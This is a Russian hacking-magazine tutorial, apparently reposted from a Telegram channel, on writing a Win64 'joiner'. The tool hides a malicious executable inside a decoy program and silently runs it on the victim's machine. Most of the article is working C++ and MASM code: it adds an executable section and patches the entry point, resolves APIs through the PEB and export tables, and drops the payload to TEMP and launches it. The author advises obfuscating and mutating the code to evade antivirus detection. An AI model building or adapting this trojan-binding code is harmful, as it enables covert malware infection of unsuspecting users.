Хакер - Качественная склейка. Пишем джоинер исполняемых файлов для Win64
hacker_frei
Евгений ARCHANGEL Кулик
Содержание статьи
- Немного теории
- Как устроен наш вариант
- Алгоритм работы
- Добавление секции
- Ассемблер и шелл-код
- Алгоритм запуска нагрузки
- Поиск API в памяти
- Выводы
Представим, что нам нужно запустить некий зловредный код на машине жертвы. Доступа к этому компу у нас нет, и кажется, что самым простым вариантом будет вынудить жертву сделать все за нас. Конечно, никто в здравом уме не запустит сомнительное ПО на своем девайсе, поэтому жертву нужно заинтересовать — предложить что‑то полезное. Тут в дело вступает джоинер — тулза, которая встроит в полезную нагрузку наш код и скрытно его запустит.
WARNING
Статья предназначена для «белых хакеров», профессиональных пентестеров и руководителей службы информационной безопасности (CISO). Ни автор, ни редакция не несут ответственности за любой возможный вред, причиненный применением информации данной статьи.
Существуют ли готовые решения, предназначенные для склейки программ и вредоносной нагрузки? Безусловно, но здесь есть ряд проблем. Такие инструменты детектятся антивирусами, стоят денег и часто продаются как сервис, то есть требуют оплаты за разовую склейку. Бесплатные и простые способы встроить полезную нагрузку вида «поместим файлы в самораспаковывающийся архив» и вовсе банальный фуфломицин. Решение же, сделанное своими руками, может быть улучшено, исправлено в случае детекта и, конечно, останется бесплатным.
НЕМНОГО ТЕОРИИ
Джоинер может и должен склеивать два исполняемых файла. Первый — визуальная оболочка, красивая картинка и отвлекающий маневр. Это то, что увидит юзер на экране своего компьютера, когда запустит исполняемый файл. Второй — полезная нагрузка, которая запускается без явного желания пользователя. По умолчанию второй файл не будет как‑то скрыт: если в нем присутствуют окна или, например, громкое музыкальное сопровождение, то это все юзер заметит. Поэтому нужно обеспечить скрытную работу полезной нагрузки. Джоинер лишь склеивает, но не маскирует вредоносное приложение.
А может ли джоинер склеить исполняемый файл с картинкой? Может, но это не имеет смысла. Чисто теоретически, если бы он склеивал исполняемый файл и картинку, на выходе все равно получался бы исполняемый файл, который не имел бы расширения .jpg, .png или другого подобного. Редакторы и просмотрщики картинок такой файл открыть не смогут. Либо мы получим картинку, но в таком случае не сможем запустить исполняемый файл. Есть еще вариант, когда приложение стартует и открывает картинку через API ShellExecute. Действие занятное, но только в качестве фокуса — пользы от него никакой.
КАК УСТРОЕН НАШ ВАРИАНТ
Нашей целью будет Windows 10 x64, но, поняв принцип, легко можно переработать инструментарий под другие версии семейства Windows. Код должен работать и на Windows 7/8, но не тестировался там. Мы будем использовать смесь С++ и ассемблера.
Алгоритм работы
Оболочка — наш первый ехе, который будет виден клиенту. Это, так сказать, приманка. Нагрузка — второй ехе, в котором содержится зловредный контент. В оболочку добавляется дополнительная секция, куда записывается шелл‑код и нагрузка. Управление сразу передается на шелл‑код, задача которого — извлечь нагрузку, сохранить ее на диск и запустить. На верхнем уровне все сводится к тому, что мы получаем некий байтовый массив, который должны положить в дополнительную секцию. Потом останется лишь исправить точку входа у оболочки, и все — склейка завершена.
try {
const auto goodfile = std::wstring(argv[1]);
const auto badfile = std::wstring(argv[2]);
const auto content = CreateData(badfile,goodfile);
AddDataToFile(goodfile, content, L"fixed.exe");
}
catch (const std::exception& error)
{
std::cout << error.what() << std::endl;
}
Добавление секции
Это самая простая часть алгоритма, поэтому для разогрева начнем именно с нее. Открываем на чтение файл оболочки:
std::ifstream inputFile(inputPe, std::ios::binary);
if (inputFile.fail())
{
const auto message = Utils::WideToString(L"Unable to open " + inputPe);
throw std::logic_error(message);
}
Нам понадобится библиотека для работы с PE-файлами. Это очень сильно упростит нам добавление секции, редактирование ее атрибутов, исправление entry point и прочее. Я выбрал старую проверенную библиотеку PE Bliss.
Но библиотеку нужно немного подправить, если мы хотим использовать С++17 для компиляции проектов. Правки эти делаются тривиально и состоят в том, что нужно устаревший auto_ptr сменить на unique_ptr. Из‑за этих правок код библиотеки я предложил бы хранить непосредственно в своем репозитории, а не использовать submodule. Секция добавляется так:
auto peImage = pe_bliss::pe_factory::create_pe(inputFile);
pe_bliss::section newSection;
newSection.readable(true).writeable(true).executable(true); // Секция получает атрибуты read + write + execute
newSection.set_name("joiner"); // Имя секции
newSection.set_raw_data(std::string(data.cbegin(), data.cend())); // Контент секции
pe_bliss::section& added_section = peImage.add_section(newSection);
const auto alignUp = [](unsigned int value, unsigned int aligned) -> unsigned int
{
const auto num = value / aligned;
return (num * aligned < value) ? (num * aligned + aligned) : (num * aligned);
};
peImage.set_section_virtual_size(added_section,
alignUp(data.size(), peImage.get_section_alignment())); // Виртуальный размер секции выравнивается в бОльшую сторону
peImage.set_ep(added_section.get_virtual_address() + sizeof(HEAD));
Последняя строка заслуживает отдельных комментариев. Там меняется точка входа, но новая EP (entry point) выставляется не на самое начало новой секции, а на начало со смещением, которое равно размеру структуры HEAD. Эта структура выглядит так:
struct HEAD
{
unsigned long long sizeOfPayload;
unsigned long long OEP;
};
Возникает логичный вопрос: что это за поля и откуда берутся их значения? Поле sizeOfPayload — размер файла нагрузки, а OEP — значение точки входа оболочки до того, как мы добавили новую секцию и изменили на нее точку входа. Как будет выглядеть структура новой секции в целом, показано на картинке.

Ассемблер и шелл-код
Код, который мы добавим в оболочку, должен соответствовать определенным требованиям. И на языке ассемблера добиться этого соответствия не просто легче — это единственно возможный путь. Разберемся почему.
Когда мы инжектим свой код в посторонний .ехе, мы должны быть готовы к тому, что код запустится по случайному адресу без подготовки со стороны загрузчика. Не будет никаких известных адресов API-функций, релокации никто не исправит, поэтому нужно писать самодостаточный код. Такой код иногда называют шелл‑кодом, хотя он и не является шелл‑кодом в понимании эксплуатации уязвимостей. Это, скорее, код «в шелл‑код‑стиле».
Таким образом, этот код:
- должен уметь работать с любого адреса, неважно, по какому адресу он оказался в памяти;
- должен находить адреса нужных ему функций.
Дельта-смещение
Если файл был собран под адрес Х, а запустился с адреса Y, то все абсолютные адреса требуют корректировки. Разница между этими адресами как раз и называется дельта‑смещением. Вот код для вычисления такого дельта‑смещения:
call delta
delta:
pop rax
mov rcx, offset delta
sub rax, rcx
Вызов функции с учетом этого смещения выглядит так:
mov rax, offset GetNtdllByModuleList
add rax, [rsp+100h+var_delta]
call rax
Строки, смешанные с кодом
Хранить строки, переменные (данные) и код в разных секциях для шелл‑кода неприемлемо. Поэтому здесь код и данные смешиваются. С локальными переменными на стеке нет никаких проблем. Со строками используется следующий прием:
jmp short begin
getprocaddr:
db 'LdrGetProcedureAddress',0
getdllhandle:
db 'LdrGetDllHandle',0
begin:
То есть инструкции идут вместе со строками. Конечно, строки нельзя выполнить, и мы делаем короткие (short) переходы через строки.
Поиск границ шелл-кода
Для этого мы воспользуемся public-переменными. В ассемблерном листинге, в самом начале нашего шелл‑кода, мы поместим переменную. Она послужит маркером начала. Точно так же мы поместим переменную в конце кода.
PUBLIC sizeOfPayload ; Маркер начала
PUBLIC FinishMarker ; Маркер завершения шелл-кода
.CODE
sizeOfPayload QWORD 0 ; Поля структуры HEAD
OEP QWORD 0
launcher proc ; Начало самого кода
MASM, cmake и Visual Studio
Нам нужно подружить эти инструменты. Macro assembler нужен для написания шелл‑кода, потому что встраивать ассемблерный код в программу на С++ с помощью __asm{} в архитектуре x64 нельзя. Создается отдельный файл с ассемблерным кодом, обычно для таких файлов используют расширение .asm, а в CMakeLists.txt добавляются такие директивы:
enable_language(ASM_MASM)
set(ASMSRC shellcode.asm)
target_sources(${PROJECT_NAME} PRIVATE ${ASMSRC})
if(CMAKE_CL_64 EQUAL 0)
set_source_files_properties(${ASMSRC} PROPERTIES COMPILE_FLAGS "/safeseh /DSC_WIN32")
else()
set_source_files_properties(${ASMSRC} PROPERTIES COMPILE_FLAGS "/DSC_WIN64")
endif()
Теперь мы получим возможность слинковать два объектных файла при условии, что в С++ используется ключевое слово extern. Например:
extern "C" unsigned long long sizeOfPayload;
Алгоритм запуска нагрузки
Шелл‑код работает так:
1. Ищет путь к директории TEMP.
2. Записывает туда файл с нагрузкой.
3. Запускает этот файл на выполнение.
4. Передает управление оригинальной точке входа оболочки.
В виде листинга это может выглядеть так:
void DropToDiskAndExecute(const uint8_t* data, unsigned int sizeData, const API_Adresses* addresses)
{
STARTUPINFOA startup{0};
PROCESS_INFORMATION procInfo{0};
const char surprise[] = "payload.exe";
const auto size = reinterpret_cast<gettemppatha*>(
addresses->GetTempPathA)(0, nullptr);
auto* location = reinterpret_cast<virtualalloc*>(addresses->VirtualAlloc)
(nullptr, size + sizeof(surprise),
MEM_COMMIT, PAGE_READWRITE);
if (!location)
{
return;
}
reinterpret_cast<gettemppatha*>(addresses->GetTempPathA)(size, reinterpret_cast<LPSTR>(location));
reinterpret_cast<winlstrcat*>(addresses->lstrcatA)(reinterpret_cast<LPSTR>(location), surprise);
auto handle = reinterpret_cast<createfilea*>(addresses->CreateFileA)
(reinterpret_cast<LPSTR>(location), GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE, nullptr,
CREATE_ALWAYS, 0, 0);
reinterpret_cast<writefile*>(addresses->WriteFile)(handle, data,
sizeData, nullptr, nullptr);
reinterpret_cast<closehandle*>(addresses->CloseHandle)(handle);
reinterpret_cast<createprocessa*>(addresses->CreateProcessA)(reinterpret_cast<LPSTR>(location),
nullptr,
nullptr, nullptr, FALSE,
0, nullptr, nullptr, &startup, &procInfo);
reinterpret_cast<closehandle*>(addresses->CloseHandle)(procInfo.hProcess);
reinterpret_cast<closehandle*>(addresses->CloseHandle)(procInfo.hThread);
reinterpret_cast<virtualfree*>(addresses->VirtualFree)(location, 0, MEM_RELEASE);
}
Данный код заслуживает более детального рассмотрения. Во‑первых, он на С++. Но как же так? Ведь шелл‑код должен быть на ассемблере? Да, шелл‑код на ассемблере. Просто вначале был этот код, а потом я его дизассемблировал и скопировал результат (с небольшими правками) в shellcode.asm. Во‑вторых, это — чистая функция, то есть результат ее работы зависит только от входных параметров. Это важно, поскольку такие функции генерируются компилятором практически сразу в нужном нам шелл‑код‑стиле. В‑третьих, тут нет какой‑то обработки ошибок, потому что в случае ошибки мы не должны никак ее обрабатывать и вообще обнаруживать свое присутствие. Также важно, что все необходимые API-функции подаются нам на вход:
struct API_Adresses
{
FARPROC GetTempPathA;
FARPROC VirtualAlloc;
FARPROC lstrcatA;
FARPROC CreateFileA;
FARPROC WriteFile;
FARPROC CloseHandle;
FARPROC CreateProcessA;
FARPROC VirtualFree;
};
Для работы алгоритма нам понадобится восемь функций. Но как найти их адреса?
Поиск API в памяти
Алгоритм достаточно прост:
- Ищем базу загрузки
ntdll.dll. - В таблице экспорта находим две функции:
LdrGetDllHandleиLdrGetProcedureAddress. - С их помощью находим адреса восьми функций из структуры
API_Adresses.
База загрузки ntdll.dll ищется благодаря тому, что peb_loader_data принадлежит пространству ntdll.dll:
GetNtdllByModuleList:
mov rax, gs:[60h]
mov ecx, 5A4Dh
mov rax, [rax+18h]
and rax, 0FFFFFFFFFFFFF000h
try_again:
cmp [rax], cx
jz short finish
sub rax, 1000h
jnz short try_again
finish:
ret
Код парсинга таблицы экспорта был честно позаимствован на просторах интернета (правда, оригинальная версия содержит баг, который в моем коде исправлен):
;http://mcdermottcybersecurity.com/articles/windows-x64-shellcode
;look up address of function from DLL export table
;rcx=DLL imagebase, rdx=function name string
;DLL name must be in uppercase
;r15=address of LoadLibraryA (optional, needed if export is forwarded)
;returns address in rax
;returns 0 if DLL not loaded or exported function not found in DLL
;NtGetProcAddressAsm proc
NtGetProcAddressAsm:
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
start:
found_dll:
mov rbx, rcx ;get dll base addr — points to DOS "MZ" header
mov r9d, [rbx+3ch] ;get DOS header e_lfanew field for offset to "PE" header
add r9, rbx ;add to base — now r9 points to _image_nt_headers64
add r9, 88h ;18h to optional header + 70h to data directories
;r9 now points to _image_data_directory[0] array entry
;which is the export directory
mov r13d, [r9] ;get virtual address of export directory
test r13, r13 ;if zero, module does not have export table
jnz has_exports
xor rax, rax ;no exports — function will not be found in dll
jmp done
has_exports:
lea r8, [rbx+r13] ;add dll base to get actual memory address
;r8 points to _image_export_directory structure (see winnt.h)
mov r14d, [r9+4] ;get size of export directory
add r14, r13 ;add base rva of export directory
;r13 and r14 now contain range of export directory
;will be used later to check if export is forwarded
mov ecx, [r8+18h] ;NumberOfNames
mov r10d, [r8+20h] ;AddressOfNames (array of RVAs)
add r10, rbx ;add dll base
dec ecx ;point to last element in array (searching backwards)
for_each_func:
lea r9, [r10 + 4*rcx] ;get current index in names array
mov edi, [r9] ;get RVA of name
add rdi, rbx ;add base
mov rsi, rdx ;pointer to function we're looking for
compare_func:
cmpsb
jne wrong_func ;function name doesn't match
mov al, [rsi] ;current character of our function
test al, al ;check for null terminator
jz bug_fix ;bugfix here — doulbe check of zero byte
;if at the end of our string and all matched so far, found it
jmp compare_func ;continue string comparison
wrong_func:
loop for_each_func ;try next function in array
xor rax, rax ;function not found in export table
jmp done
bug_fix:
mov al, [rdi]
test al, al
jz short found_func
jmp short compare_func
found_func: ;ecx is array index where function name found
;r8 points to _image_export_directory structure
mov r9d, [r8+24h] ;AddressOfNameOrdinals (rva)
add r9, rbx ;add dll base address
mov cx, [r9+2*rcx] ;get ordinal value from array of words
mov r9d, [r8+1ch] ;AddressOfFunctions (rva)
add r9, rbx ;add dll base address
mov eax, [r9+rcx*4] ;Get RVA of function using index
cmp rax, r13 ;see if func rva falls within range of export dir
jl not_forwarded
cmp rax, r14 ;if r13 <= func < r14 then forwarded
jae not_forwarded
;forwarded function address points to a string of the form <DLL name>.<function>
;note: dll name will be in uppercase
;extract the DLL name and add ".DLL"
lea rsi, [rax+rbx] ;add base address to rva to get forwarded function name
lea rdi, [rsp+30h] ;using register storage space on stack as a work area
mov r12, rdi ;save pointer to beginning of string
copy_dll_name:
movsb
cmp byte ptr [rsi], 2eh ;check for '.' (period) character
jne copy_dll_name
movsb ;also copy period
mov dword ptr [rdi], 004c4c44h ;add "DLL" extension and null terminator
mov rcx, r12 ;r12 points to "<DLL name>.DLL" string on stack
call r15 ;call LoadLibraryA with target dll
mov rcx, r12 ;target dll name
mov rdx, rsi ;target function name
jmp start ;start over with new parameters
not_forwarded:
add rax, rbx ;add base addr to rva to get function address
done:
pop rdi
pop rsi
pop rbp
pop rbx
pop rdx
pop rcx
ret
Когда у нас появились адреса двух краеугольных функций LdrGetDllHandle и LdrGetProcedureAddress, дальше можно найти адрес функции для любой уже загруженной библиотеки. Либа kernel32.dll тоже загружается лоадером сразу, так что мы без проблем найдем все интересующие нас адреса:
GetProcedureAddressAsm:
var_28= word ptr -28h
var_26= word ptr -26h
var_20= qword ptr -20h
var_18= word ptr -18h
var_16= word ptr -16h
var_10= qword ptr -10h
arg_0= qword ptr 8
arg_8= qword ptr 10h
arg_10= qword ptr 18h
arg_18= qword ptr 20h
mov [rsp+arg_10], rbx
mov [rsp+arg_18], rsi
push rdi
sub rsp, 40h
xor ebx, ebx
mov rdi, rdx
test rcx, rcx
mov rdx, rcx
mov ecx, ebx
mov rsi, r9
mov r10, r8
jz short loc_14000689A
cmp [rdx], cx
jz short loc_140006898
nop dword ptr [rax+00000000h]
loc_140006890:
inc ecx
cmp [rdx+rcx*2], bx
jnz short loc_140006890
loc_140006898:
add ecx, ecx
loc_14000689A:
mov [rsp+48h+var_28], cx
lea r9, [rsp+48h+arg_0]
add cx, 2
mov [rsp+48h+var_20], rdx
mov [rsp+48h+var_26], cx
lea r8, [rsp+48h+var_28]
xor ecx, ecx
xor edx, edx
call r10
test rdi, rdi
jz short loc_1400068D0
cmp byte ptr [rdi], 0
jz short loc_1400068D0
loc_1400068C8:
inc ebx
cmp byte ptr [rbx+rdi], 0
jnz short loc_1400068C8
loc_1400068D0:
mov rcx, [rsp+48h+arg_0]
lea r9, [rsp+48h+arg_8]
mov [rsp+48h+var_18], bx
lea rdx, [rsp+48h+var_18]
inc bx
mov [rsp+48h+var_10], rdi
xor r8d, r8d
mov [rsp+48h+var_16], bx
call rsi
mov rax, [rsp+48h+arg_8]
mov rbx, [rsp+48h+arg_10]
mov rsi, [rsp+48h+arg_18]
add rsp, 40h
pop rdi
ret
Непонятен ассемблерный код? Изначально этот код тоже написан на С++:
FARPROC GetProcedureAddress(wchar_t* library, char* function,
LdrGetDllHandlePointer* LdrGetDllHandle,
LdrGetProcedureAddressPointer* LdrGetProcedureAddress)
{
const auto libNameLen = static_cast<USHORT>(GetWcharLen(library));
UNICODE_STRING libraryName{ libNameLen,
libNameLen + sizeof(wchar_t),
library };
HMODULE hModule;
LdrGetDllHandle(nullptr, nullptr, &libraryName, &hModule);
const auto functionNameLen = static_cast<USHORT>(GetCharLen(function));
ANSI_STRING functionName{ functionNameLen,
functionNameLen + sizeof(char),
function };
FARPROC result;
LdrGetProcedureAddress(hModule, &functionName, 0, &result);
return result;
}
Для заполнения структуры с адресами используется такой метод (далее приведен его псевдокод):
API_Adresses CreateAddressStruct(LdrGetDllHandlePointer* LdrGetDllHandle,
LdrGetProcedureAddressPointer* LdrGetProcedureAddress, GetProcedureAddressPointer* getter)
{
API_Adresses result{};
wchar_t* libname = L"kernel32.dll";
result.CloseHandle = getter(libname, "CloseHandle", LdrGetDllHandle,
LdrGetProcedureAddress);
result.CreateFileA = getter(libname, "CreateFileA", LdrGetDllHandle,
LdrGetProcedureAddress);
result.CreateProcessA = getter(libname, "CreateProcessA", LdrGetDllHandle,
LdrGetProcedureAddress);
result.GetTempPathA = getter(libname, "GetTempPathA", LdrGetDllHandle,
LdrGetProcedureAddress);
result.lstrcatA = getter(libname, "lstrcatA", LdrGetDllHandle,
LdrGetProcedureAddress);
result.VirtualAlloc = getter(libname, "VirtualAlloc", LdrGetDllHandle,
LdrGetProcedureAddress);
result.VirtualFree = getter(libname, "VirtualFree", LdrGetDllHandle,
LdrGetProcedureAddress);
result.WriteFile = getter(libname, "WriteFile", LdrGetDllHandle,
LdrGetProcedureAddress);
return result;
}
Вся высокоуровневая логика выглядит следующим образом:
sizeOfPayload QWORD 0
OEP QWORD 0
launcher proc
var_ntdllBase = qword ptr -10h
var_ldrProcedureAddr = qword ptr -20h
var_ldrLoadDll = qword ptr -30h
var_delta = qword ptr -40h
var_apis = qword ptr -90h
call delta
delta:
pop rax
mov rcx, offset delta
sub rax, rcx
sub rsp, 100h
mov [rsp+100h+var_delta], rax
jmp short begin
getprocaddr:
db 'LdrGetProcedureAddress',0
getdllhandle:
db 'LdrGetDllHandle',0
begin:
mov rax, offset GetNtdllByModuleList
add rax, [rsp+100h+var_delta]
call rax
mov [rsp+100h+var_ntdllBase], rax
mov rcx, rax
lea rdx, getprocaddr
mov rax, offset NtGetProcAddressAsm
add rax, [rsp+100h+var_delta]
call rax
mov [rsp+100h+var_ldrProcedureAddr], rax
mov rcx, [rsp+100h+var_ntdllBase]
lea rdx, getdllhandle
mov rax, offset NtGetProcAddressAsm
add rax, [rsp+100h+var_delta]
call rax
mov [rsp+100h+var_ldrLoadDll], rax
mov rdx, rax
mov r8, [rsp+100h+var_ldrProcedureAddr]
mov r9, offset GetProcedureAddressAsm
add r9, [rsp+100h+var_delta]
lea rcx, [rsp+100h+var_apis]
mov rax, offset CreateAddressStructAsm
add rax, [rsp+100h+var_delta]
call rax
mov r8, rax
lea rdx, sizeOfPayload
mov rdx, qword ptr [rdx]
lea rcx, FinishMarker
mov rax, offset DropToDiskAndExecuteAsm
add rax, [rsp+100h+var_delta]
call rax
lea rax, OEP
mov rax, qword ptr [rax]
mov rcx, gs:[60h] ; GetModuleHanldeW(nullptr)
mov rcx, [rcx+10h]
add rax, rcx
add rsp, 100h
jmp rax
Код работает благодаря тому, что размер нагрузки расположен в переменной sizeOfPayload, а сам контент второго исполняемого файла — сразу за шелл‑кодом. Весь код проекта доступен по ссылке: https://bitbucket.org/KulykIevgen/joiner/src/master/.
ВЫВОДЫ
Конечно, через какое‑то время любое антивирусное ПО научится детектить этот код, но, поскольку он доступен в виде исходников, его можно модифицировать, обфусцировать, подвергать мутациям, получая каждый раз чистые файлы. А улучшения, несомненно, понадобятся.
Здесь понадобится поддержка и старой доброй архитектуры х86, и всей линейки Windows, да и над скрытностью поработать будет нелишним. Сейчас аналитик может увидеть нечто подозрительное, просто посмотрев, какой секции принадлежит точка входа, так как если она расположена в последней секции, то файл подвергался модификациям.
В сети часто можно увидеть жалобы, например на распространителей «таблеток от жадности» (кряков и кейгенов), за то, что в таком ПО много троянских программ. Но теперь ты знаешь, как эти трояны туда попадают.
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei